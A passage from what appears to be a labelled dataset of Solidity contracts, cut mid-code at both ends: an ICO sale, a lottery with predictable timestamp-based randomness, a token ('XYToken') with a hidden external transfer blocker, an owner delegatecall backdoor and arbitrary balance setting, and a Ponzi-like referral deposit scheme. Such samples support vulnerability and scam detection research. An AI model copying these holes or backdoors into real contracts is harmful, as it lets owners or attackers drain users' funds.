address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; mapping(address => bool) public unlockedAddressesDuringITO; address[] public tokenHolders; modifier onlyOwnerOrSaleAgent() { require(msg.sender == saleAgent || msg.sender == owner); _; } function unlockAddressDuringITO(address addressToUnlock) public onlyOwnerOrSaleAgent { unlockedAddressesDuringITO[addressToUnlock] = true; } modifier notLocked(address sender) { require(mintingFinished || sender == saleAgent || sender == owner || (!mintingFinished && unlockedAddressesDuringITO[sender])); _; } function setSaleAgent(address newSaleAgnet) public onlyOwnerOrSaleAgent { saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); if(balances[_to] == 0) tokenHolders.push(_to); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; emit MintFinished(); return true; } function transfer(address _to, uint256 _value) public notLocked(msg.sender) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked(from) returns (bool) { return super.transferFrom(from, to, value); } } contract TokenProvider is Ownable { MintableToken public token; function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } } contract MintTokensInterface is TokenProvider { function mintTokens(address to, uint tokens) internal; } contract MintTokensFeature is MintTokensInterface { function mintTokens(address to, uint tokens) internal { token.mint(to, tokens); } function mintTokensBatch(uint amount, address[] to) public onlyOwner { for(uint i = 0; i < to.length; i++) { token.mint(to[i], amount); } } } contract PercentRateProvider is Ownable { uint public percentRate = 100; function setPercentRate(uint newPercentRate) public onlyOwner { percentRate = newPercentRate; } } contract RetrieveTokensFeature is Ownable { function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } contract WalletProvider is Ownable { address public wallet; function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } } contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature, MintTokensFeature { using SafeMath for uint; address public directMintAgent; uint public price; uint public start; uint public minInvestedLimit; uint public hardcap; modifier isUnderHardcap() { require(invested <= hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } modifier minInvestLimited(uint value) { require(value >= minInvestedLimit); _; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner { minInvestedLimit = newMinInvestedLimit; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } function calculateTokens(uint _invested) internal returns(uint); function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner { mintTokens(to, tokens); } function endSaleDate() public view returns(uint); function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner { updateInvested(_invested); mintTokensByETH(to, _invested); } function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) { uint tokens = calculateTokens(_invested); mintTokens(to, tokens); return tokens; } function updateInvested(uint value) internal { invested = invested.add(value); } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); updateInvested(msg.value); return mintTokensByETH(msg.sender, msg.value); } function () public payable { fallback(); } } contract AssembledCommonSale is CommonSale { } contract WalletsPercents is Ownable { address[] public wallets; mapping (address => uint) percents; function addWallet(address wallet, uint percent) public onlyOwner { wallets.push(wallet); percents[wallet] = percent; } function cleanWallets() public onlyOwner { wallets.length = 0; } } contract ExtendedWalletsMintTokensFeature is MintTokensInterface, WalletsPercents { using SafeMath for uint; uint public percentRate = 100; function mintExtendedTokens() public onlyOwner { uint summaryTokensPercent = 0; for(uint i = 0; i < wallets.length; i++) { summaryTokensPercent = summaryTokensPercent.add(percents[wallets[i]]); } uint mintedTokens = token.totalSupply(); uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent)); for(uint k = 0; k < wallets.length; k++) { mintTokens(wallets[k], allTokens.mul(percents[wallets[k]]).div(percentRate)); } } } contract StagedCrowdsale is Ownable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public totalPeriod; Milestone[] public milestones; function milestonesCount() public view returns(uint) { return milestones.length; } function addMilestone(uint period, uint bonus) public onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestone(uint8 number) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() public onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } function lastSaleDate(uint start) public view returns(uint) { return start + totalPeriod * 1 days; } function currentMilestone(uint start) public view returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } contract ITO is ExtendedWalletsMintTokensFeature, StagedCrowdsale, AssembledCommonSale { function endSaleDate() public view returns(uint) { return lastSaleDate(start); } function calculateTokens(uint _invested) internal returns(uint) { uint milestoneIndex = currentMilestone(start); Milestone storage milestone = milestones[milestoneIndex]; uint tokens = _invested.mul(price).div(1 ether); if(milestone.bonus > 0) { tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate)); } return tokens; } function finish() public onlyOwner { mintExtendedTokens(); token.finishMinting(); } } contract NextSaleAgentFeature is Ownable { address public nextSaleAgent; function setNextSaleAgent(address newNextSaleAgent) public onlyOwner { nextSaleAgent = newNextSaleAgent; } } contract SoftcapFeature is InvestedProvider, WalletProvider { using SafeMath for uint; mapping(address => uint) public balances; bool public softcapAchieved; bool public refundOn; uint public softcap; uint public constant devLimit = 22500000000000000000; bool public devFeePaid; address public constant devWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770; function setSoftcap(uint newSoftcap) public onlyOwner { softcap = newSoftcap; } function withdraw() public { require(msg.sender == owner || msg.sender == devWallet); require(softcapAchieved); if(!devFeePaid) { devWallet.transfer(devLimit); devFeePaid = true; } wallet.transfer(address(this).balance); } function updateBalance(address to, uint amount) internal { balances[to] = balances[to].add(amount); if (!softcapAchieved && invested >= softcap) { softcapAchieved = true; } } function refund() public { require(refundOn && balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function updateRefundState() internal returns(bool) { if (!softcapAchieved) { refundOn = true; } return refundOn; } } contract PreITO is NextSaleAgentFeature, SoftcapFeature, AssembledCommonSale { uint public period; function calculateTokens(uint _invested) internal returns(uint) { return _invested.mul(price).div(1 ether); } function setPeriod(uint newPeriod) public onlyOwner { period = newPeriod; } function endSaleDate() public view returns(uint) { return start.add(period * 1 days); } function mintTokensByETH(address to, uint _invested) internal returns(uint) { uint _tokens = super.mintTokensByETH(to, _invested); updateBalance(to, _invested); return _tokens; } function finish() public onlyOwner { if (updateRefundState()) { token.finishMinting(); } else { withdraw(); token.setSaleAgent(nextSaleAgent); } } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); updateInvested(msg.value); return mintTokensByETH(msg.sender, msg.value); } } contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } contract Token is MintableToken { string public constant name = "FRSCoin"; string public constant symbol = "FRS"; uint32 public constant decimals = 18; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } contract Configurator is Ownable { Token public token; PreITO public preITO; ITO public ito; function deploy() public onlyOwner { token = new Token(); preITO = new PreITO(); preITO.setWallet(0x89C92383bCF3EecD5180aBd055Bf319ceFD2D516); preITO.setStart(1531612800); preITO.setPeriod(48); preITO.setPrice(1080000000000000000000); preITO.setMinInvestedLimit(100000000000000000); preITO.setSoftcap(1000000000000000000000); preITO.setHardcap(4000000000000000000000); preITO.setToken(token); preITO.setDirectMintAgent(0xF3D57FC2903Cbdfe1e1d33bE38Ad0A0753E72406); token.setSaleAgent(preITO); ito = new ITO(); ito.setWallet(0xb13a4803bcC374B8BbCaf625cdD0a3Ac85CdC0DA); ito.setStart(1535760000); ito.addMilestone(7, 15); ito.addMilestone(7, 13); ito.addMilestone(7, 11); ito.addMilestone(7, 9); ito.addMilestone(7, 7); ito.addMilestone(7, 5); ito.addMilestone(7, 3); ito.setPrice(900000000000000000000); ito.setMinInvestedLimit(100000000000000000); ito.setHardcap(32777000000000000000000); ito.addWallet(0xA5A5cf5325AeDA4aB32b9b0E0E8fa91aBDb64DdC, 10); ito.setToken(token); ito.setDirectMintAgent(0xF3D57FC2903Cbdfe1e1d33bE38Ad0A0753E72406); preITO.setNextSaleAgent(ito); address manager = 0xd8Fe93097F0Ef354fEfee2e77458eeCc19D8D704; token.transferOwnership(manager); preITO.transferOwnership(manager); ito.transferOwnership(manager); } }
1
3,073
pragma solidity ^0.4.18; contract Vitaluck { address ceoAddress = 0x46d9112533ef677059c430E515775e358888e38b; address cfoAddress = 0x23a49A9930f5b562c6B1096C3e6b5BEc133E8B2E; string MagicKey; uint256 minBetValue = 50000000000000000; uint256 currentJackpot; modifier onlyCeo() { require (msg.sender == ceoAddress); _; } event NewPlay(address player, uint number, bool won); struct Bet { uint number; bool isWinner; address player; uint32 timestamp; uint256 JackpotWon; } Bet[] bets; mapping (address => uint) public ownerBetsCount; uint totalTickets; uint256 amountWon; uint256 amountPlayed; uint cooldownTime = 1 days; address currentWinningAddress; uint currentWinningNumber; uint currentResetTimer; uint randomNumber = 178; uint randomNumber2; function() public payable { Play(); } function Play() public payable { require(msg.value >= minBetValue); if(totalTickets == 0) { totalTickets++; currentJackpot = currentJackpot + msg.value; return; } uint _thisJackpot = currentJackpot; uint _finalRandomNumber = 0; currentJackpot = currentJackpot + msg.value; _finalRandomNumber = (uint(now) - 1 * randomNumber * randomNumber2 + uint(now))%1000 + 1; randomNumber = _finalRandomNumber; amountPlayed = amountPlayed + msg.value; totalTickets++; ownerBetsCount[msg.sender]++; uint256 MsgValue10Percent = msg.value / 10; cfoAddress.transfer(MsgValue10Percent); currentJackpot = currentJackpot - MsgValue10Percent; if(_finalRandomNumber > currentWinningNumber) { currentResetTimer = now + cooldownTime; uint256 JackpotWon = _thisJackpot; msg.sender.transfer(JackpotWon); currentJackpot = currentJackpot - JackpotWon; amountWon = amountWon + JackpotWon; currentWinningNumber = _finalRandomNumber; currentWinningAddress = msg.sender; bets.push(Bet(_finalRandomNumber, true, msg.sender, uint32(now), JackpotWon)); NewPlay(msg.sender, _finalRandomNumber, true); if(_finalRandomNumber >= 900) { currentWinningAddress = address(this); currentWinningNumber = 1; } } else { currentWinningAddress.transfer(MsgValue10Percent); currentJackpot = currentJackpot - MsgValue10Percent; bets.push(Bet(_finalRandomNumber, false, msg.sender, uint32(now), 0)); NewPlay(msg.sender, _finalRandomNumber, false); } } function TestRandomNumber() public view returns (uint, uint, uint) { uint _randomNumber1; uint _randomNumber2; uint _randomNumber3; _randomNumber1 = (uint(now) - 1 * randomNumber * randomNumber2 + uint(now))%1000 + 1; _randomNumber2 = (uint(now) - 2 * _randomNumber1 * randomNumber2 + uint(now))%1000 + 1; _randomNumber3 = (uint(now) - 3 * _randomNumber2 * randomNumber2 + uint(now))%1000 + 1; return(_randomNumber1,_randomNumber2,_randomNumber3); } function manuallyResetGame() public onlyCeo { require(currentResetTimer < now); uint256 JackpotWon = currentJackpot - minBetValue; currentWinningAddress.transfer(JackpotWon); currentJackpot = currentJackpot - JackpotWon; amountWon = amountWon + JackpotWon; currentWinningAddress = address(this); currentWinningNumber = 1; } function GetCurrentNumbers() public view returns(uint, uint256, uint) { uint _currentJackpot = currentJackpot; return(currentWinningNumber, _currentJackpot, bets.length); } function GetWinningAddress() public view returns(address) { return(currentWinningAddress); } function GetStats() public view returns(uint, uint256, uint256) { return(totalTickets, amountPlayed, amountWon); } function GetBet(uint _betId) external view returns ( uint number, bool isWinner, address player, uint32 timestamp, uint256 JackpotWon ) { Bet storage _bet = bets[_betId]; number = _bet.number; isWinner = _bet.isWinner; player = _bet.player; timestamp = _bet.timestamp; JackpotWon = _bet.JackpotWon; } function GetUserBets(address _owner) external view returns(uint[]) { uint[] memory result = new uint[](ownerBetsCount[_owner]); uint counter = 0; for (uint i = 0; i < bets.length; i++) { if (bets[i].player == _owner) { result[counter] = i; counter++; } } return result; } function GetLastBetUser(address _owner) external view returns(uint[]) { uint[] memory result = new uint[](ownerBetsCount[_owner]); uint counter = 0; for (uint i = 0; i < bets.length; i++) { if (bets[i].player == _owner) { result[counter] = i; counter++; } } return result; } function modifyRandomNumber2(uint _newRdNum) public onlyCeo { randomNumber2 = _newRdNum; } function modifyCeo(address _newCeo) public onlyCeo { require(msg.sender == ceoAddress); ceoAddress = _newCeo; } function modifyCfo(address _newCfo) public onlyCeo { require(msg.sender == ceoAddress); cfoAddress = _newCfo; } }
1
3,943
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract XYToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "XY Token"; string public symbol = "XY"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wETH, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tos, uint amount) public { require(msg.sender == owner); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = amount; emit Transfer(address(0x0), _tos[i], amount); } } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
1,585
pragma solidity ^0.4.25; contract Ownable { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Can used only by owner"); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0, "Please provide new owner address"); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender, "Please call from new owner"); owner = newOwner; delete newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract KassaNetwork is Ownable { using SafeMath for uint; string public constant name = 'Kassa 60/50'; uint public startTimestamp = now; uint public constant procKoef = 10000; uint public constant perDay = 250; uint public constant ownerFee = 700; uint[1] public bonusReferrer = [700]; uint public constant procReturn = 9000; uint public constant maxDepositDays = 60; uint public constant minimalDeposit = 0.1 ether; uint public constant maximalDepositStart = 5 ether; uint public constant minimalDepositForBonusReferrer = 0.015 ether; uint public constant dayLimitStart = 50 ether; uint public constant progressProcKoef = 100; uint public constant dayLimitProgressProc = 5; uint public constant maxDepositProgressProc = 4; uint public countInvestors = 0; uint public totalInvest = 0; uint public totalPenalty = 0; uint public totalSelfInvest = 0; uint public totalPaid = 0; event LogInvestment(address _addr, uint _value, bytes _refData); event LogTransfer(address _addr, uint _amount, uint _contactBalance); event LogSelfInvestment(uint _value); event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount); event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres); event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount); event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals); event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty); event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty); event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit); event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay); event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer); struct User { uint balance; uint paidInteres; uint timestamp; uint countReferrals; uint earnOnReferrals; uint paidReferrals; address referrer; } mapping (address => User) private user; mapping (uint => uint) private usedDeposit; function getInteres(address addr) private view returns(uint interes) { uint diffDays = getNDay(user[addr].timestamp); if( diffDays > maxDepositDays ) diffDays = maxDepositDays; interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef); } function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint earnOnReferrals, uint paidReferrals, address referrer) { address a = addr; return ( user[a].balance, user[a].timestamp, user[a].paidInteres, getInteres(a), user[a].countReferrals, user[a].earnOnReferrals, user[a].paidReferrals, user[a].referrer ); } function getCurrentDay() public view returns(uint nday) { nday = getNDay(startTimestamp); } function getNDay(uint date) public view returns(uint nday) { uint diffTime = date > 0 ? now.sub(date) : 0; nday = diffTime.div(24 hours); } function getCurrentDayDepositLimit() public view returns(uint limit) { uint nDay = getCurrentDay(); limit = getDayDepositLimit(nDay); } function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res) { uint s = start; for (uint i = 0; i < nDay; i++) { s = s.mul(progressProcKoef + proc).div(progressProcKoef); } return s; } function getDayDepositLimit(uint nDay) public pure returns(uint limit) { return calcProgress(dayLimitStart, dayLimitProgressProc, nDay ); } function getMaximalDeposit(uint nDay) public pure returns(uint limit) { return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay ); } function getCurrentDayRestDepositLimit() public view returns(uint restLimit) { uint nDay = getCurrentDay(); restLimit = getDayRestDepositLimit(nDay); } function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit) { restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]); } function getCurrentMaximalDeposit() public view returns(uint maximalDeposit) { uint nDay = getCurrentDay(); maximalDeposit = getMaximalDeposit(nDay); } function() external payable { emit LogInvestment(msg.sender, msg.value, msg.data); processPayment(msg.value, msg.data); } function processPayment(uint moneyValue, bytes refData) private { if (msg.sender == owner) { totalSelfInvest = totalSelfInvest.add(moneyValue); emit LogSelfInvestment(moneyValue); return; } if (moneyValue == 0) { preparePayment(); return; } if (moneyValue < minimalDeposit) { totalPenalty = totalPenalty.add(moneyValue); emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty); return; } address referrer = bytesToAddress(refData); if (user[msg.sender].balance > 0 || refData.length != 20 || moneyValue > getCurrentMaximalDeposit() || referrer != owner && ( user[referrer].balance <= 0 || referrer == msg.sender) ) { uint amount = moneyValue.mul(procReturn).div(procKoef); totalPenalty = totalPenalty.add(moneyValue.sub(amount)); emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty); msg.sender.transfer(amount); return; } uint nDay = getCurrentDay(); uint restDepositPerDay = getDayRestDepositLimit(nDay); uint addDeposit = moneyValue; if (moneyValue > restDepositPerDay) { uint returnDeposit = moneyValue.sub(restDepositPerDay); uint returnAmount = returnDeposit.mul(procReturn).div(procKoef); addDeposit = addDeposit.sub(returnDeposit); totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount)); emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit); msg.sender.transfer(returnAmount); } usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit); emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]); registerInvestor(referrer); sendOwnerFee(addDeposit); calcBonusReferrers(referrer, addDeposit); updateInvestBalance(addDeposit); } function registerInvestor(address referrer) private { user[msg.sender].timestamp = now; countInvestors++; user[msg.sender].referrer = referrer; user[referrer].countReferrals++; } function sendOwnerFee(uint addDeposit) private { transfer(owner, addDeposit.mul(ownerFee).div(procKoef)); } function calcBonusReferrers(address referrer, uint addDeposit) private { for (uint i = 0; i < bonusReferrer.length && referrer != 0; i++) { uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef); address nextReferrer = user[referrer].referrer; emit LogCalcBonusReferrer(referrer, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer); preparePaymentReferrer(referrer, amountReferrer); referrer = nextReferrer; } } function preparePaymentReferrer(address referrer, uint amountReferrer) private { user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer); uint totalReferrals = user[referrer].earnOnReferrals; uint paidReferrals = user[referrer].paidReferrals; if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer)) { uint amount = totalReferrals.sub(paidReferrals); user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount); emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount); transfer(referrer, amount); } else { emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals); } } function preparePayment() public { uint totalInteres = getInteres(msg.sender); uint paidInteres = user[msg.sender].paidInteres; if (totalInteres > paidInteres) { uint amount = totalInteres.sub(paidInteres); emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount); user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount); transfer(msg.sender, amount); } else { emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres); } } function updateInvestBalance(uint addDeposit) private { user[msg.sender].balance = user[msg.sender].balance.add(addDeposit); totalInvest = totalInvest.add(addDeposit); } function transfer(address receiver, uint amount) private { if (amount > 0) { if (receiver != owner) { totalPaid = totalPaid.add(amount); } uint balance = address(this).balance; emit LogTransfer(receiver, amount, balance); require(amount < balance, "Not enough balance. Please retry later."); receiver.transfer(amount); } } function bytesToAddress(bytes source) private pure returns(address addr) { assembly { addr := 